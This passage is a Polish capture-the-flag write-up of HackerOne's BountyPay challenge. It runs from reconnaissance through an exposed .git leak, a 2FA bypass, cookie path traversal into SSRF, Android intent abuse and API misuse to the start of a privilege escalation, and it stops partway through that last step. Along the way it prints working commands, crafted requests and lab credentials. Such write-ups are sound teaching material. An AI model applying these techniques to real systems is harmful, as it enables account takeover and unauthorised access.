Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
H1CTF – zwycięski raport Jakuba Żoczka z Sekuraka!
Wstęp:
Jedna z najpopularniejszych platform Bug Bounty, Hackerone – w ramach promocji swojego wirtualnego eventu H12006 – uruchomiła konkurs w formule Capture The Flag. Nagrodą było zaproszenie na wspomniany ekskluzywny event oraz zaproszenia do prywatnych programów bug bounty. Co ciekawe, główną nagrodę otrzymywało się nie za najszybsze rozwiązanie zadania, a za najlepsze jego udokumentowanie. Mój raport okazał się jednym z trzech wygrywających.
Wokół zadania zbudowano historie – właściciel H1 zapomniał swojego hasła do konta, musimy je zdobyć i zatwierdzić wypłaty bounty dla Hakerów ;-). Autorom zależało na tym, żeby zadania wyglądały realistycznie i były oparte o prawdziwe znaleziska w ramach programów bug bounty.
Sam event, który był nagrodą w konkursie właśnie się zakończył i myślę, że warto krótko wspomnieć jak wyglądał. Nie była to typowa konferencja bezpieczeństwa, a Live Hacking Event, gdzie głównym celem ataku był PayPal. Rozszerzony specjalnie na tę okazję scope programu, ciekawe bonusy i możliwość kolaboracji z innymi bug hunterami to niektóre z atrakcji, które czekały na zaproszonych gości. W ostatni dzień eventu hackerzy zaprezentowali najciekawsze znalezione podatności w formule lightnig talków.
Hackerone zorganizował już kilka tego typu wydarzeń, ten natomiast z uwagi na sytuację epidemiologiczną na świecie po raz pierwszy odbył się w formie wirtualnej. W momencie pisania tego tekstu, w ramach tego niepowtarzalnego wydarzenia wypłacono ponad $422,000 na nagrody oraz bonusy.
Zanim przejdziemy do szczegółowego opisu rozwiązania zadania – kilka statystyk:
- 4282 osób wzięło udział w CTF
- 210 osób doszło do części mobilnej
- 175 dotarła do półmetka
- 127 dotarło do ostatniej części
- 55 osób zdobyło flagę
W tym artykule przedstawię krok po kroku jak poradziłem sobie z wszystkimi zadaniami.
Rozwiązanie CTF:
Rekonesans
Jako zakres do testów podano wszystkie subdomeny bountypay.h1ctf.com. Moim pierwszym krokiem było zebranie subdomen z wykorzystaniem narzędzia Certificate Search:
Losowo wybrałem serwer app.bountypay.h1ctf.com jako pierwszy. Znajduje się na nim aplikacja webowa, posiadająca ekran logowania. Pora na aktywny rekonesans z wykorzystaniem aplikacji ffuf oraz jednej z wordlist repozytorium SecLists.
Wynik uruchomienia aplikacji ffuf:
[ zoczus@ropchain:~/tools/ffuf ]> ./ffuf -u "https://app.bountypay.h1ctf.com/FUZZ" -fc 404 -w /opt/common.txt /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.0.2 ________________________________________________ :: Method : GET :: URL : https://app.bountypay.h1ctf.com/FUZZ :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 :: Filter : Response status: 404 ________________________________________________ .git/HEAD [Status: 200, Size: 23, Words: 2, Lines: 2] css [Status: 301, Size: 194, Words: 7, Lines: 8] images [Status: 301, Size: 194, Words: 7, Lines: 8] js [Status: 301, Size: 194, Words: 7, Lines: 8] logout [Status: 302, Size: 0, Words: 1, Lines: 1] :: Progress: [4666/4666] :: Job [1/1] :: 358 req/sec :: Duration: [0:00:13] :: Errors: 0 ::
Plik .git/HEAD wygląda na interesujący i wskazuje na potencjalny wektor ataku.
Information Disclosure – dostęp do katalogu .git
Znaleziony plik .git/HEAD sugeruje użycie repozytorium Git. Próba dostępu do pliku config file zdradził kilka interesujących informacji:
[ zoczus@ropchain:~ ]> curl "https://app.bountypay.h1ctf.com/.git/config" [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = https://github.com/bounty-pay-code/request-logger.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "master"] remote = origin merge = refs/heads/master
Publiczne repozytorium Github do którego link znajduje się powyżej zawiera jeden plik – logger.php .
<?php $data = array( 'IP' => $_SERVER["REMOTE_ADDR"], 'URI' => $_SERVER["REQUEST_URI"], 'METHOD' => $_SERVER["REQUEST_METHOD"], 'PARAMS' => array( 'GET' => $_GET, 'POST' => $_POST ) ); file_put_contents('bp_web_trace.log', date("U").':'.base64_encode(json_encode($data))."\n",FILE_APPEND );
Otrzymujemy informacje o kolejnym pliku dostępnym na serwerze – bp_web_trace.log :
[ zoczus@ropchain:~/stuff/bounty/h1ctf ]> curl "https://app.bountypay.h1ctf.com/bp_web_trace.log" 1588931909:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJHRVQiLCJQQVJBTVMiOnsiR0VUIjpbXSwiUE9TVCI6W119fQ== 1588931919:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIn19fQ== 1588931928:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIiwiY2hhbGxlbmdlX2Fuc3dlciI6ImJEODNKazI3ZFEifX19 1588931945:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC9zdGF0ZW1lbnRzIiwiTUVUSE9EIjoiR0VUIiwiUEFSQU1TIjp7IkdFVCI6eyJtb250aCI6IjA0IiwieWVhciI6IjIwMjAifSwiUE9TVCI6W119fQ==
Otrzymany ciąg znaków sugeruje endkodowanie Base64 – wskazuje na to użyty specyficzny zestaw znaków oraz == na końcu każdego z ciągów. Po zdekodowaniu otrzymujemy:
{"IP":"192.168.1.1","URI":"\/","METHOD":"GET","PARAMS":{"GET":[],"POST":[]}} {"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX"}}} {"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}} {"IP":"192.168.1.1","URI":"\/statements","METHOD":"GET","PARAMS":{"GET":{"month":"04","year":"2020"},"POST":[]}}
Wśród wpisów możemy znaleźć nazwę użytkownika oraz hasło. Po zalogowaniu do aplikacji ukazuje się prośba o podanie kodu (2FA).
2FA Bypass
Spójrzmy na kod HTML wyświetlonego formularza:
<form method="post" action="/"> <input type="hidden" name="username" value="brian.oliver"> <input type="hidden" name="password" value="V7h0inzX"> <input type="hidden" name="challenge" value="8e3e68be36e6f28a7b93222a0cb0a216"> <div class="panel panel-default" style="margin-top:50px"> <div class="panel-heading">Login</div> <div class="panel-body"> <div style="margin-top:7px"><label>For Security we've sent a 10 character password to your mobile phone, please enter it below</label></div> <div style="margin-top:7px"><label>Password contains characters between A-Z , a-z and 0-9</label></div> <div><input name="challenge_answer" class="form-control"></div> </div> </div> <input type="submit" class="btn btn-success pull-right" value="Login"> </form>
Możemy zauważyć parametr challenge, który wygląda jak hash MD5. Zamieniając wartość wspomnianego parametru na sumę MD5 z ciągu bD83Jk27dQ (znalezionego wcześniej w pliku bp_web_trace.log ) – możemy ponownie użyć pary challenge/answer i skutecznie ominąć mechanizm 2FA.
Ostateczne zapytanie HTTP po wpisaniu wszystkich znalezionych danych:
POST / HTTP/1.1 Host: app.bountypay.h1ctf.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:77.0) Gecko/20100101 Firefox/77.0 (...) username=brian.oliver&password=V7h0inzX&challenge=5828c689761cce705a1c84d9b1a1ed5e&challenge_answer=bD83Jk27dQ
Odpowiedź HTTP:
HTTP/1.1 302 Found Server: nginx/1.14.0 (Ubuntu) Date: Wed, 10 Jun 2020 00:13:51 GMT Content-Type: text/html; charset=UTF-8 Connection: close Set-Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9; expires=Fri, 10-Jul-2020 00:13:51 GMT; Max-Age=2592000 Location: / Content-Length: 0
Możemy zauważyć poniższą stronę:
SSRF w api.bountypay.h1ctf.com
Po zalogowaniu do aplikacji widzimy dashboard, który nie zdradza zbyt wielu informacji. Zawiera jeden przycisk (Load Transactions), który nie zwraca żadnych rezultatów. Jednak analizując wysyłane zapytania, możemy zauważyć komunikacje z endpointem /statements :
GET /statements?month=01&year=2020 HTTP/1.1 Host: app.bountypay.h1ctf.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:77.0) Gecko/20100101 Firefox/77.0 (...) Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9
…z następującą odpowiedzią:
{ "url": "https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/F8gHiqSdpK\/statements?month=01&year=2020", "data": "{\"description\":\"Transactions for 2020-01\",\"transactions\":[]}" }
Kilka kwestii, na które warto zwrócić uwagę:
- Informacja o adresie https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=01&year=2020 w odpowiedzi HTTP
- Ciasteczko token zawiera dane zakodowane w base64
Zobaczmy co można znaleźć pod adresem api.bountypay.h1ctf.com:
Kliknięcie w hiperłącze REST API najpierw wysyła zapytanie do endpointu /redirect , który zwraca kod 302 przekierowując nas na adres podany w parametrze url:
HTTP/1.1 302 Found Server: nginx/1.14.0 (Ubuntu) Date: Wed, 10 Jun 2020 00:37:13 GMT Content-Type: text/html; charset=UTF-8 Connection: close Location: https://www.google.com/search?q=REST API Content-Length: 0
Wracając do ciasteczka token – po zdekodowaniu wartości, możemy zauważyć strukturę JSON zawierającą pole account_id (którego wartość jest taka sama, jak ta znaleziona w odpowiedzi endpointu /statements).
{ "account_id": "F8gHiqSdpK", "hash": "de235bffd23df6995ad4e0930baac1a2" }
Zmodyfikowanie wartości account_id na F8gHiqSdpK/../../../? oraz ponowne zakodowanie w base64 całego tokenu sprawia, że aplikacja wysyła wewnętrznie zapytanie prosto do adresu https://api.bountypay.h1ctf.com/ (dzięki podatności typu Path Traversal).
Dodatkowo – odpowiedź z endpointu /statements zdradza kod HTML odpowiedzi z api.bountypay.h1ctf.com page – mamy więc tutaj do czynienia z podatnością typu SSRF.
{ "url": "https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/F8gHiqSdpK\/..\/..\/..\/?\/statements?month=01&year=2020", "data": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n <title>BountyPay | Login<\/title>\n <link href=\"\/css\/bootstrap.min.css\" rel=\"stylesheet\">\n<\/head>\n<body>\n<div class=\"container\">\n <div class=\"row\">\n <div class=\"col-sm-6 col-sm-offset-3\">\n <div class=\"text-center\" style=\"margin-top:30px\"><img src=\"\/images\/bountypay.png\" height=\"150\"><\/div>\n <h1 class=\"text-center\">BountyPay API<\/h1>\n <p style=\"text-align: justify\">Our BountyPay API controls all of our services in one place. We use a <a href=\"\/redirect?url=https:\/\/www.google.com\/search?q=REST+API\">REST API<\/a> with JSON output. If you are interested in using this API please contact your account manager.<\/p>\n <\/div>\n <\/div>\n<\/div>\n<script src=\"\/js\/jquery.min.js\"><\/script>\n<script src=\"\/js\/bootstrap.min.js\"><\/script>\n<\/body>\n<\/html>" }
Wersja ze sformatowanym HTML:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>BountyPay | Login</title> <link href="/css/bootstrap.min.css" rel="stylesheet"> </head> <body> <div class="container"> <div class="row"> <div class="col-sm-6 col-sm-offset-3"> <div class="text-center" style="margin-top:30px"><img src="/images/bountypay.png" height="150"></div> <h1 class="text-center">BountyPay API</h1> <p style="text-align: justify">Our BountyPay API controls all of our services in one place. We use a <a href="/redirect?url=https://www.google.com/search?q=REST+API">REST API</a> with JSON output. If you are interested in using this API please contact your account manager.</p> </div> </div> </div> <script src="/js/jquery.min.js"></script> <script src="/js/bootstrap.min.js"></script> </body> </html>
Dalsze działania skupiłem na próbie wysyłania zapytań do https://api.bountypay.h1ctf.com/redirect oraz dostania się do wewnętrznych serwerów lub cloudowych adresów meta-data. Jednak bazując na eksperymentach, endpoint /redirect zawierał whitelistę adresów, na które można było dokonać przekierowania i była ona raczej ograniczona do serwerów w domenie bountypay.h1ctf.com . Jednym z dozwolonych adresów był znaleziony w fazie rekonesansu software.bountypay.h1ctf.com . Odwiedzając ten adres z przeglądarki widzimy następującą informację:
Jednak używając znalezionej podatności SSRF mamy możliwość podejrzenia zawartości serwera:
{ "url": "https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/F8gHiqSdpK\/..\/..\/..\/redirect?url=https:\/\/software.bountypay.h1ctf.com\/&\/statements?month=01&year=2020", "data": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n <title>Software Storage<\/title>\n <link href=\"\/css\/bootstrap.min.css\" rel=\"stylesheet\">\n<\/head>\n<body>\n\n<div class=\"container\">\n <div class=\"row\">\n <div class=\"col-sm-6 col-sm-offset-3\">\n <h1 style=\"text-align: center\">Software Storage<\/h1>\n <form method=\"post\" action=\"\/\">\n <div class=\"panel panel-default\" style=\"margin-top:50px\">\n <div class=\"panel-heading\">Login<\/div>\n <div class=\"panel-body\">\n <div style=\"margin-top:7px\"><label>Username:<\/label><\/div>\n <div><input name=\"username\" class=\"form-control\"><\/div>\n <div style=\"margin-top:7px\"><label>Password:<\/label><\/div>\n <div><input name=\"password\" type=\"password\" class=\"form-control\"><\/div>\n <\/div>\n <\/div>\n <input type=\"submit\" class=\"btn btn-success pull-right\" value=\"Login\">\n <\/form>\n <\/div>\n <\/div>\n<\/div>\n<script src=\"\/js\/jquery.min.js\"><\/script>\n<script src=\"\/js\/bootstrap.min.js\"><\/script>\n<\/body>\n<\/html>" }
Wersja z sformatowanym HTML:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Software Storage</title> <link href="/css/bootstrap.min.css" rel="stylesheet"> </head> <body> <div class="container"> <div class="row"> <div class="col-sm-6 col-sm-offset-3"> <h1 style="text-align: center">Software Storage</h1> <form method="post" action="/"> <div class="panel panel-default" style="margin-top:50px"> <div class="panel-heading">Login</div> <div class="panel-body"> <div style="margin-top:7px"><label>Username:</label></div> <div><input name="username" class="form-control"></div> <div style="margin-top:7px"><label>Password:</label></div> <div><input name="password" type="password" class="form-control"></div> </div> </div> <input type="submit" class="btn btn-success pull-right" value="Login"> </form> </div> </div> </div> <script src="/js/jquery.min.js"></script> <script src="/js/bootstrap.min.js"></script> </body> </html>
Directory Listing na software.bountypay.h1ctf.com
Z uwagi na fakt, że możemy wysyłać zapytania na serwer software.bountypay.h1ctf.com z wewnętrznym adresem IP zautomatyzowałem poszukiwania katalogów na serwerze co pozwoliło na znalezienie ciekawie wyglądającego /uploads . Sformatowany wynik HTML:
<html> <head> <title>Index of /uploads/</title> </head> <body bgcolor=white> <h1>Index of /uploads/</h1> <hr> <pre><a href=../>../</a> <a href=/uploads/BountyPay.apk>BountyPay.apk</a> 20-Apr-2020 11:26 4043701 </pre> <hr> </body> </html>
Bezpośrednie zapytanie o plik BountyPay.apk zakończyło się sukcesem i udało pobrać wspomniany plik.
Aplikacja Android – analiza statyczna i dynamiczna
APK to skrót od Android Application Package, jest to tak naprawdę plik ZIP, który możemy bez problemu rozpakować standardowymi narzędziami. Pakiet zawiera takie pliki jak:
- Pliki odpowiedzialne za wygląd aplikacji
- Manifest androidowy
- Plik classes.dex
Ostatni plik zawiera bytecode aplikacji. Używając aplikacji dex2jar oraz jd-gui możemy z łatwością uzyskać dostęp do zdekompilowanego kodu Java:
[ zoczus@kali:~/bounty/h1ctf ]> d2j-dex2jar classes.dex dex2jar classes.dex -> ./classes-dex2jar.jar [ zoczus@kali:~/bounty/h1ctf ]> jd-cli classes-dex2jar.jar [ zoczus@kali:~/bounty/h1ctf ]> mkdir src [ zoczus@kali:~/bounty/h1ctf ]> mv classes-dex2jar.src.jar src [ zoczus@kali:~/bounty/h1ctf ]> cd src [ zoczus@kali:~/bounty/h1ctf/src ]> jar xf classes-dex2jar.src.jar
Do samego kodu wrócimy później, najpierw jednak zainstalujmy aplikacje BountyPay na telefonie z Androidem. Po jej uruchomieniu widzimy następujący ekran:
Podając dowolne dane i przechodząc dalej – dostajemy się do Activity nazwanej PartOneActivity:
W dalszej części użyłem narzędzia Drozer pomagającej w dynamicznej analizie aplikacji, której wynik znajduje się poniżej.
Selecting a85667c5760b3f76 (Xiaomi Redmi 6A 8.1.0) .. ..:. ..o.. .r.. ..a.. . ....... . ..nd ro..idsnemesisand..pr .otectorandroidsneme. .,sisandprotectorandroids+. ..nemesisandprotectorandroidsn:. .emesisandprotectorandroidsnemes.. ..isandp,..,rotectorandro,..,idsnem. .isisandp..rotectorandroid..snemisis. ,andprotectorandroidsnemisisandprotec. .torandroidsnemesisandprotectorandroid. .snemisisandprotectorandroidsnemesisan: .dprotectorandroidsnemesisandprotector. drozer Console (v2.4.4) dz> run shell.exec "pm list packages | grep bounty" package:bounty.pay dz> run app.package.attacksurface bounty.pay Attack Surface: 5 activities exported 1 broadcast receivers exported 0 content providers exported 0 services exported is debuggable
Bazując na powyższym możemy znaleźć 5 wyeksportowanych aktywności. Rzućmy na nie okiem:
dz> run app.activity.info -a bounty.pay Package: bounty.pay bounty.pay.PartThreeActivity Permission: null bounty.pay.PartTwoActivity Permission: null bounty.pay.PartOneActivity Permission: null bounty.pay.MainActivity Permission: null com.google.firebase.auth.internal.FederatedSignInActivity Permission: com.google.firebase.auth.api.gms.permission.LAUNCH_FEDERATED_SIGN_IN dz> run scanner.activity.browsable -a bounty.pay Package: bounty.pay Invocable URIs: three://part two://part one://part Classes: bounty.pay.PartThreeActivity bounty.pay.PartTwoActivity bounty.pay.PartOneActivity
Jest to moment, w którym warto spojrzeć do kodu. W pliku PartOneActivity.java możemy znaleźć następujący fragment:
if ((getIntent() != null) && (getIntent().getData() != null)) { String str = getIntent().getData().getQueryParameter("start"); if ((str != null) && (str.equals("PartTwoActivity")) && (paramBundle.contains("USERNAME"))) { str = paramBundle.getString("USERNAME", ""); SharedPreferences.Editor localEditor = paramBundle.edit(); paramBundle = paramBundle.getString("TWITTERHANDLE", ""); localEditor.putString("PARTONE", "COMPLETE").apply(); logFlagFound(str, paramBundle); startActivity(new Intent(this, PartTwoActivity.class)); } }
Z pomocą aplikacji Drozer (lub bezpośrednio z shell’a) możemy spróbować uruchomić activity z następującymi parametrami, co skutkuje przejściem do kolejnego activity:
dz> run app.activity.start --action android.intent.action.VIEW --data-uri "one://part?start=PartTwoActivity"
Krok pierwszy za nami, spójrzmy na kod w pliku PartTwoActivity.java :
if ((getIntent() != null) && (getIntent().getData() != null)) { Object localObject2 = getIntent().getData(); localObject1 = ((Uri)localObject2).getQueryParameter("two"); localObject2 = ((Uri)localObject2).getQueryParameter("switch"); if ((localObject1 != null) && (((String)localObject1).equals("light")) && (localObject2 != null) && (((String)localObject2).equals("on"))) { localEditText.setVisibility(0); localButton.setVisibility(0); paramBundle.setVisibility(0); } }
Po szybkiej analizie po raz kolejny używamy Drozera, analogicznie jak w poprzednim przypadku:
dz> run app.activity.start --action android.intent.action.VIEW --data-uri "two://part?two=light&switch=on"
W aplikacji pojawia się ukryty wcześniej formularz:
Kod odpowiedzialny za walidację formularza:
public void onDataChange(DataSnapshot paramAnonymousDataSnapshot) { String str1 = (String)paramAnonymousDataSnapshot.getValue(); Object localObject = getSharedPreferences("user_created", 0); paramAnonymousDataSnapshot = ((SharedPreferences)localObject).edit(); String str2 = paramView; StringBuilder localStringBuilder = new StringBuilder(); localStringBuilder.append("X-"); localStringBuilder.append(str1); if (str2.equals(localStringBuilder.toString())) { str1 = ((SharedPreferences)localObject).getString("USERNAME", ""); localObject = ((SharedPreferences)localObject).getString("TWITTERHANDLE", ""); PartTwoActivity.this.logFlagFound(str1, (String)localObject); paramAnonymousDataSnapshot.putString("PARTTWO", "COMPLETE").apply(); PartTwoActivity.this.correctHeader(); } else { Toast.makeText(PartTwoActivity.this, "Try again! :D", 0).show(); } } });
Aplikacja pobiera dane z formularza i porównuje je z wartością zapisaną w bazie Firebase. W plikach z preferencjami możemy znaleźć access_token do wspomnianej bazy i próbować połączyć się z nią bezpośrednio. Moglibyśmy też próbować ominąć mechanizm SSL Pinning i spróbować podejrzeć dane w komunikacji sieciowej. Innym sposobem byłoby użycie narzędzi typu Frida czy Objection żeby podejrzeć wartość, która jest porównywana w formularzu. Ja zamiast tego użyłem szybszej metody i spróbowałem tam wartość X-Token znalezioną w pliku PartThreeActivity.java co zadziałało:
byte[] decodedDirectoryTwo = Base64.decode("WC1Ub2tlbg==", 0); // wartość zdekodowana - "X-Token"
Po poprawnym wypełnieniu formularza przechodzimy do ostatniej części – PartThreeActivity. Jest to stanowczo najcięższa część z całej części Androidowej z uwagi na zobfuskowany kod:
Na początek zająłem się inicjacją zmiennych:
if ((getIntent() != null) && (getIntent().getData() != null)) { final Object localObject3 = getIntent().getData(); localObject2 = ((Uri)localObject3).getQueryParameter("three"); localObject1 = ((Uri)localObject3).getQueryParameter("switch"); localObject3 = ((Uri)localObject3).getQueryParameter("header"); final Object localObject4 = Base64.decode((String)localObject2, 0); final Object localObject5 = Base64.decode((String)localObject1, 0); localObject4 = new String((byte[])localObject4, StandardCharsets.UTF_8); localObject5 = new String((byte[])localObject5, StandardCharsets.UTF_8);
Następnym krokiem było porównywanie wartości:
public void onDataChange(DataSnapshot paramAnonymousDataSnapshot) { String str = (String)paramAnonymousDataSnapshot.getValue(); if ((localObject2 != null) && (localObject4.equals("PartThreeActivity")) && (localObject1 != null) && (localObject5.equals("on"))) { paramAnonymousDataSnapshot = localObject3; if (paramAnonymousDataSnapshot != null) { StringBuilder localStringBuilder = new StringBuilder(); localStringBuilder.append("X-"); localStringBuilder.append(str); if (paramAnonymousDataSnapshot.equals(localStringBuilder.toString())) { paramBundle.setVisibility(0); localButton.setVisibility(0); thread.start(); } } }
ozpisując wartości zmiennych szczegółowo:
- localObject4 powinna mieć wartość PartThreeActivity
- localObject4 jest pobierana ze zmiennej localObject2 (jako base64)
- localObject2 jest wartością parametru three
- localObject5 powinna mieć wartość on
- localObject5 jest pobierana ze zmiennej localObject1 (jako base64)
- localObject1 jest pobierana z parametru switch
- localStringBuilder powinna mieć taką samą wartość jak zmienna paramAnonymousDataSnapshot
- paramAnonymousDataSnapshot powinna mieć taką samą wartość jak localObject3
- localStringBuilder powinna mieć wartość złożoną ze znaku X- oraz str – zakładam, że to po prostu X-Token
- localObject3 jest wartością parametru header
Biorąc pod uwagę powyższe kończymy ten etap realizując zapytanie pod następujący adres URL:
dz> run app.activity.start --action android.intent.action.VIEW --data-uri "three://part?three=UGFydFRocmVlQWN0aXZpdHk=&switch=b24=&header=X-Token"
Aplikacja ukazuje nam kolejny formularz, w którym powinniśmy podać „leaked hash”:
Przeglądając pliki utworzone w systemie Android możemy odnaleźć plik /data/data/bounty.pay/shared_prefs/user_created.xml z następującą zawartością:
<?xml version='1.0' encoding='utf-8' standalone='yes' ?> <map> <string name="PARTTWO">COMPLETE</string> <string name="USERNAME">zoczus</string> <string name="HOST">http://api.bountypay.h1ctf.com</string> <string name="PARTONE">COMPLETE</string> <string name="TWITTERHANDLE">zoczus</string> <string name="TOKEN">8e9998ee3137ca9ade8f372739f062c1</string> </map>
Uzupełniając wspomniany formularz o wartość TOKEN otrzymujemy komunikat, że rozwiązaliśmy zadanie Androidowe oraz, że znalezione informacje przydadzą się w kolejnych zadaniach.
Informacja o rozwiązaniu zadania:
OSINT
W pewnym momencie trwania CTF na Twitterowym profilu Hackerone pojawił się retweet wskazujący na profil BountyPay.
Jeden z tweetów mówi o nowym pracowniku – Sandrze! Jej profil możemy znaleźć patrząc na osoby obserwujące BountyPay HQ:
W jedynym swoim wpisie na Twitterze Sandra informuje, że to jej pierwszy dzień w nowej pracy, jest bardzo podekscytowana na dowód czego wrzuca zdjęcie swojej firmowej plakietki wraz z identyfikatorem pracownika – STF:8FJ3KFISL3
Ta informacja jest bardzo cenna i przyda się później. :)
Information Disclosure – API
Wracamy z naszymi poszukiwaniami do API. Ponownie enumerując katalogi z użyciem narzędzia ffuf możemy znaleźć następujący endpoint:
[ zoczus@ropchain:~/tools/ffuf ]> ./ffuf -u "https://api.bountypay.h1ctf.com/api/FUZZ" -fc 404 -w /opt/common.txt /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.0.2 ________________________________________________ :: Method : GET :: URL : https://api.bountypay.h1ctf.com/api/FUZZ :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 :: Filter : Response status: 404 ________________________________________________ staff [Status: 401, Size: 28, Words: 4, Lines: 1]
Bezpośrednie zapytanie do endpointu /api/staff zwraca informacje o brakującym tokenie:
[ zoczus@ropchain:~ ]> curl "https://api.bountypay.h1ctf.com/api/staff" ["Missing or invalid Token"]
Używając wartości Token pozyskanej w zadaniu Androidowym i nagłówka X-Token uzyskujemy kolejne dane:
[ zoczus@ropchain:~ ]> curl https://api.bountypay.h1ctf.com/api/staff -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" [{"name":"Sam Jenkins","staff_id":"STF:84DJKEIP38"},{"name":"Brian Oliver","staff_id":"STF:KE624RQ2T9"}]
Zmiana metody HTTP na POST informuje o brakującym parametrze:
[ zoczus@ropchain:~ ]> curl https://api.bountypay.h1ctf.com/api/staff -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" -X POST ["Missing Parameter"]
Używając poprzednich parametrów z odpowiedzi JSON i podmieniając staff_id na identyfikator Sandry uzyskujemy jej login i hasło:
[ zoczus@ropchain:~ ]> curl https://api.bountypay.h1ctf.com/api/staff -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" -X POST -d "name=XXX&staff_id=STF:8FJ3KFISL3&password=test" {"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}
Privilege Escalation w aplikacji Staff
Mając login i hasło Sandry, przechodzimy do kolejnej aplikacji – Staff mieszczącej się pod adresem staff.bountypay.h1ctf.com
Aby dobrze zrozumieć podatność, która się tu znajduje – zacznijmy od przyjrzenia się plikowi /js/website.js :
$(".upgradeToAdmin").click(function() { let t = $('input[name="username"]').val(); $.get("/admin/upgrade?username=" + t, function() { alert("User Upgraded to Admin") }) }), $(".tab").click(function() { return $(".tab").removeClass("active"), $(this).addClass("active"), $("div.content").addClass("hidden"), $("div.content-" + $(this).attr("data-target")).removeClass("hidden"), !1 }), $(".sendReport").click(function() { $.get("/admin/report?url=" + url, function() { alert("Report sent to admin team") }), $("#myModal").modal("hide") }), document.location.hash.length > 0 && ("#tab1" === document.location.hash && $(".tab1").trigger("click"), "#tab2" === document.location.hash && $(".tab2").trigger("click"), "#tab3" === document.location.hash && $(".tab3").trigger("click"), "#tab4" === document.location.hash && $(".tab4").trigger("click"));
Najważniejsze elementy, które możemy zauważyć:
- Jedna z funkcji wysyła zapytanie do /admin/upgrade?username=…. dając użytkownikowi prawa administratora.
- Istnieje endpoint /admin/report?url=… służący do powiadamiania administratorów, że na podanej stronie “coś jest nie tak”.
- Na samym końcu – sprawdzana jest wartość location.hash oraz wyzwalane są eventy click bazujące na selektorach CSS (tab1/tab2/tab3/tab4).
Wszystkie powyższe będą potrzebne, aby podnieść swoje uprawnienia. Zacznijmy od prostego odwołania się do endpointu /admin/upgrade?username=sandra.allison :
["Only admins can perform this"]
Niestety nie przyniosło to oczekiwanego rezultatu.
Na dole strony znajdziemy hiperłącze nazwane „Report This Page”, które wywołuje poniższy komunikat:
Zatwierdzenie formularza powoduje wysłanie następującego zapytania HTTP:
GET /admin/report?url=Lz90ZW1wbGF0ZT10aWNrZXQmdGlja2V0X2lkPTM1ODI= HTTP/1.1 Host: staff.bountypay.h1ctf.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:77.0) Gecko/20100101 Firefox/77.0 Accept: */* (...)
Parametr url zawiera adres odwiedzanej strony zakodowany w base64. Bazując na wcześniejszym komunikacje, odwoływanie się do endpointów zaczynających się od /admin będzie ignorowane (co udało się potwierdzić różnymi testami). Nadal jednak pamiętajmy o tym mechanizmie, ponieważ będzie on jednym z elementów potrzebnym, aby uzyskać wyższe uprawnienia.
